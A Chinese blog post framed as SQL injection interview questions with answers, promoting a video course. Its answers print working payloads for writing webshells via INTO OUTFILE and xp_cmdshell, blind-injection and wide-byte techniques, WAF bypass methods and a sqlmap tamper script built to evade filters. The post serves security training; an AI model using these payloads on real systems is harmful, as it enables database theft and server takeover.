关于SQL注入的面试题及经验分享(附视频教程)

在前两期的面试经验分享中,我们收到了小伙伴们的热烈反馈,大家对面试话题征集活动展现出了浓厚的兴趣,纷纷表示希望能够了解更多关于面试的技巧和经验。

《SQL注入从0到1》是一套完整的漏洞解析课程,本课程全面剖析SQL注入原理、利用技巧、防御措施与绕过方法,专为新手打造,助力小白轻松掌握SQL注入漏洞

在过往的工作历程中,我既作为求职者深入体验过面试的紧张与挑战,也作为面试官见证过众多优秀人才的竞争。今天,很荣幸在这里给大家做一期关于SQL注入的面试分享,希望对小伙伴们有所帮助。

Q:简述数据库的存储引擎

A:数据库存储引擎是数据库底层软件组织,数据库管理系统(DBMS)使用数据引擎进行创建、查询、更新和删除数据。不同的存储引擎提供不同的存储机制、索引技巧、锁定水平等功能,使用不同的存储引擎,还可以获得特定的功能。

InnoDB:主流的存储引擎,mysql默认存储引擎

MyISAM:查询、插入速度快,不支持事务

MEMORY:hash索引、BTREE索引

Q:SQL注入有哪几种注入类型?

A:从注入参数类型分:数字型注入、字符型注入、搜索型注入;

从注入方法分:基于报错、基于布尔盲注、基于时间盲注、联合查询、堆叠注入、内联查询注入、宽字节注入;

从提交方式分:GET注入、POST注入、COOKIE注入、HTTP头注入。

Q:SQL注入的危害及防御?

A:【危害】数据库泄露、数据库被破坏、网站崩溃、服务器被植入木马;

【防御】代码层面对查询参数进行转义、预编译与参数绑定、利用WAF防御。

Q:Mysql一个@和两个@什么区别?

A:一个@是用户自定义变量,两个@是系统变量,如@@version、@@user。

Q:UDF提权原理?

A:Mysql支持用户自定义函数,将含有自定义函数的dll放入特定的文件夹,声明引入dll中的执行函数,使用执行函数执行系统命令。

Q:SQL与NoSQL的区别?

A:【SQL】关系型数据库,【NoSQL】非关系型数据库。

存储方式:SQL具有特定的结构表,NoSQL存储方式灵活;

性能:NoSQL较优于SQL;

数据类型:SQL适用结构化数据,如账号密码,NoSQL适用非结构化数据,如文章、评论。

Q:SQL注入写shell的条件,用法

A:【条件】

当前用户具有dba权限

找到网站绝对路径

网站有可写目录

mysql的配置secure_file_priv为空

【用法】

mysql:

复制代码
id=1' and 1=2 union select 1,2,'shell内容' into outfile "绝对路径\shell.php" %23

sqlserver:

复制代码
id=1';EXEC master..xp_cmdshell 'echo "shell内容" > 绝对路径\shell.asp' --

Q:SQL注入过滤了逗号,怎么办?

A:join绕过

复制代码
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);

Q:sleep被禁用后还能怎么进行sql注入?

A:benchmark代替sleep:

复制代码
id=1 and if(ascii(substring((database()),1,1))=115,(select benchmark(10000000,md5(0x41))),1) --+

笛卡尔积盲注:

复制代码
select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C)

RLIKE盲注:

复制代码
select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1)

Q:什么是宽字节注入?如何操作?

A:【宽字节注入】当php开启gpc或者使用addslashes函数时,单引号'被加上反斜杠\',其中\的URL编码为%5C,我们传入%df',等价于%df%5C',此时若程序的默认字符集是GBK,mysql用GBK编码时会认为%df%5C是一个宽字符縗,于是%df%5C'便等价于縗',产生注入。

操作:

复制代码
id=1%df' and 1=2 union select 1,2,user(),4 %23

Q:SQL注入常见的过WAF方法?

A:内联注释绕过;

填充大量脏数据绕过;

垃圾参数填充绕过;

改变提交方式绕过,如GET方式变为POST方式提交;

随机agent头绕过;

fuzz过滤函数,函数替换绕过。

Q:sqlmap如何编写tamper?

A:tamper固定模板如下:

复制代码
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW 

def dependencies(): 
     pass

def tamper(payload, **kwargs): 
      pass

PROIORITY

用于定义tamper优先级,当调用多个tamper时生效,优先级如下,数值越大优先级越高:

  • LOWEST = -100
  • LOWER = -50
  • LOW = -10
  • NORMAL = 0
  • HIGH = 10
  • HIGHER = 50
  • HIGHEST = 100

dependencies

用于提示用户tamper适用范围,具体代码如下:

复制代码
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("过狗tamper '%s' 只针对 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

DBMS.MYSQL代表MYSQL,其他数据库类推。

Tamper

tamper关键函数,用于定义过滤规则,示例代码如下:

复制代码
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs):
    payload=payload.replace('AND','/*!29440AND*/')
    payload=payload.replace('ORDER','/*!29440order*/')
    payload=payload.replace('LIKE USER()','like (user/**/())')
    payload=payload.replace('DATABASE()','database/*!29440*/()')
    payload=payload.replace('CURRENT_USER()','CURRENT_USER/**/()')
    payload=payload.replace('SESSION_USER()','SESSION_USER(%0a)')
    payload=payload.replace('UNION ALL SELECT','union/*!29440select*/')
    payload=payload.replace('super_priv','/*!29440/**/super_priv*/')
    payload=payload.replace('and host=','/*!29440and*/host/*!11440=*/')
    payload=payload.replace('BENCHMARK(','BENCHMARK/*!29440*/(')
    payload=payload.replace('SLEEP(','sleep/**/(')
    return payload

fuzz出具体payload后对关键字符进行替换。

Q:MSSQL差异备份原理及条件?

A:【原理】完整备份后,再次对数据库进行修改,差异备份会记录最后的LSN,将shell写入数据库,备份成asp即可getshell。

【条件】

MSSQL具有dbo或sa权限

支持堆叠查询

找到网站的绝对路径

Q:MYSQL注入/绕过常用的函数?

A:注入常用函数

database() 返回当前数据库名

user() 返回当前数据库用户名

updatexml() 更新xml文档,常用于报错注入

mid() 从指定字段中提取出字段的内容

limit() 返回结果中的前几条数据或者中间的数据

concat() 返回参数产生的字符串

group_concat() 分组拼接函数

count() 返回指定参数的数目

rand() 参数0~1个随机数

flood() 向下取整

substr() 截取字符串

ascii() 返回字符串的ascii码

left() 返回字符串最左边指定个数的字符

ord() 返回字符的ascii码

length() 返回字符串长度

sleep() 延时函数

等价函数绕过,反之亦可:

group_concat() ==> concat_ws()

sleep() ==> benchmark()

mid()、substr() ==> substring()

user() ==> @@user

updatexml() ==> extractvalue()

以上是我总结的关于SQL注入高频出现的面试题,若你对于其中的2道或更多题目感到困惑或回答错误,这可能表明你的基础知识尚需加强。为了更好地掌握SQL注入的核心内容,建议你观看完整视频教程,由浅入深系统学习,确保每个知识点都能熟练掌握。

相关推荐
Francek Chen18 小时前
【大数据存储与管理】分布式数据库HBase:03 HBase数据模型
大数据·数据库·hadoop·分布式·hdfs·hbase
小吴编程之路1 天前
MySQL 索引核心特性深度解析:从底层原理到实操应用
数据库·mysql
~莫子1 天前
MySQL集群技术
数据库·mysql
凤山老林1 天前
SpringBoot 使用 H2 文本数据库构建轻量级应用
java·数据库·spring boot·后端
就不掉头发1 天前
Linux与数据库进阶
数据库
与衫1 天前
Gudu SQL Omni 技术深度解析
数据库·sql
咖啡の猫1 天前
Redis桌面客户端
数据库·redis·缓存
oradh1 天前
Oracle 11g数据库软件和数据库静默安装
数据库·oracle
what丶k1 天前
如何保证 Redis 与 MySQL 数据一致性?后端必备实践指南
数据库·redis·mysql
_半夏曲1 天前
PostgreSQL 13、14、15 区别
数据库·postgresql